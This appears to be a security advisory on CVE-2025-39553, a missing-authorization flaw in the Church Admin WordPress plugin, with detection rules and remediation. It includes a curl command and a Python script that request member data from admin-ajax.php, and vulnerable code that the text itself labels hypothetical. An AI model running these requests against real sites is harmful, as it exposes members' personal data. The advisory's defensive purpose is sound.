CVE-2025-39553

Executive Summary

CVE-2025-39553 is a Missing Authorization vulnerability in the WordPress plugin Church Admin by andy_moyle, affecting versions up to and including 5.0.9. This flaw allows unauthenticated attackers to access sensitive administrative functions due to missing capability checks in AJAX handlers or REST endpoints. The vulnerability has a CVSS score of 4.3 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for sites running the plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site owners must consider the plugin as a supply chain risk. The plugin’s vendor (andy_moyle) has not responded to disclosure, meaning the vulnerability remains unpatched in the public repository. Any site using Church Admin <= 5.0.9 is exposed to unauthorized data access or function execution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited information disclosure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s widespread use in church management systems could lead to targeted attacks against religious organizations.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin’s AJAX actions or REST API endpoints. In WordPress, plugins often register AJAX hooks for both authenticated and unauthenticated users. The church-admin plugin fails to verify that the current user has the required capabilities (e.g., manage_options or edit_posts) before executing sensitive functions.

Root Cause: The plugin uses wp_ajax_* and wp_ajax_nopriv_* hooks but does not include a current_user_can() check inside the callback function. This allows any unauthenticated visitor to trigger administrative actions such as:

• Retrieving member lists or donation records.
• Modifying plugin settings.
• Accessing internal logs or configuration data.

Attack Vector: An attacker sends a crafted HTTP POST request to /wp-admin/admin-ajax.php with the appropriate action parameter and any required data. Since no capability check is performed, the server processes the request and returns sensitive information.

Example vulnerable endpoint (hypothetical):

add_action('wp_ajax_nopriv_church_admin_export_members', 'church_admin_export_members');
function church_admin_export_members() {
    // No current_user_can() check
    $members = get_members_from_db();
    wp_send_json($members);
}

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.0.9):

add_action('wp_ajax_nopriv_church_admin_get_settings', 'church_admin_get_settings');
function church_admin_get_settings() {
    // Missing authorization check
    $settings = get_option('church_admin_settings');
    wp_send_json($settings);
}

Patched Code (hypothetical fix):

add_action('wp_ajax_nopriv_church_admin_get_settings', 'church_admin_get_settings');
function church_admin_get_settings() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $settings = get_option('church_admin_settings');
    wp_send_json($settings);
}

The patched version adds current_user_can('manage_options') to restrict access to administrators only.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Church Admin plugin <= 5.0.9 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable AJAX action by reviewing the plugin source or using a fuzzer.
2. Send a POST request to /wp-admin/admin-ajax.php with the action parameter.

Example using cURL:

curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
  -d "action=church_admin_export_members&format=json"

Expected Output: JSON response containing member data (names, emails, phone numbers).

Automated Exploit (Python):

import requests

target = "https://target-site.com"
ajax_url = f"{target}/wp-admin/admin-ajax.php"
data = {"action": "church_admin_export_members", "format": "json"}

response = requests.post(ajax_url, data=data)
if response.status_code == 200:
    print("Vulnerable! Data:", response.text)
else:
    print("Not vulnerable or patched.")

Blue Team (Detection & Hardening)

Detection:

• Monitor logs for unusual POST requests to /wp-admin/admin-ajax.php with unknown or suspicious action parameters.
• Look for spikes in 200 responses from admin-ajax.php without prior authentication.

Hardening:

• Disable the plugin immediately if not critical.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated AJAX requests to known vulnerable actions.
• Use a plugin like "Wordfence" to add virtual patching.

WAF Rule (ModSecurity):

SecRule REQUEST_FILENAME "/wp-admin/admin-ajax\.php" \
  "chain,id:1001,deny,status:403,msg:'Church Admin CVE-2025-39553'"
SecRule ARGS:action "^church_admin_" \
  "chain"
SecRule &ARGS:action "@gt 0"

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action parameter starting with church_admin_.
  • Unusual JSON responses containing member data or plugin settings.

• File IOCs:

  • Presence of the plugin directory /wp-content/plugins/church-admin/ with version file indicating <= 5.0.9.

• Log IOCs:

  • Repeated 200 responses from admin-ajax.php for unauthenticated users.
  • Access logs showing requests from IPs not associated with known administrators.

Detection Engineering

YARA Rule

rule CVE_2025_39553_Church_Admin_Missing_Auth {
    meta:
        description = "Detects Church Admin plugin files with missing authorization checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39553"
    strings:
        $vuln_func = "wp_ajax_nopriv_" nocase
        $no_check = "current_user_can" nocase
    condition:
        $vuln_func and not $no_check
}

Sigma Rule

title: Church Admin Missing Authorization Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts against CVE-2025-39553
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/wp-admin/admin-ajax.php"
        cs-uri-query|contains: "action=church_admin_"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-39553 Church Admin Missing Authorization Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=church_admin_"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete Church Admin from all WordPress installations until a patch is released.
2. Audit for compromise – Check for unauthorized access logs, unexpected user accounts, or data exfiltration.
3. Apply virtual patch – Use a WAF to block unauthenticated AJAX requests to church_admin_* actions.

Long-term Fix:

• The vendor must release a patched version (>= 5.1.0) that adds current_user_can() checks to all AJAX callbacks.
• Until then, consider migrating to an alternative church management plugin with active security support.

Workaround (Code-Level): If you must keep the plugin, add a custom mu-plugin to enforce authorization:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'church_admin_') === 0) {
            if (!current_user_can('manage_options')) {
                wp_die('Unauthorized', 403);
            }
        }
    }
});

Valters IT
Securing Digital Frontiers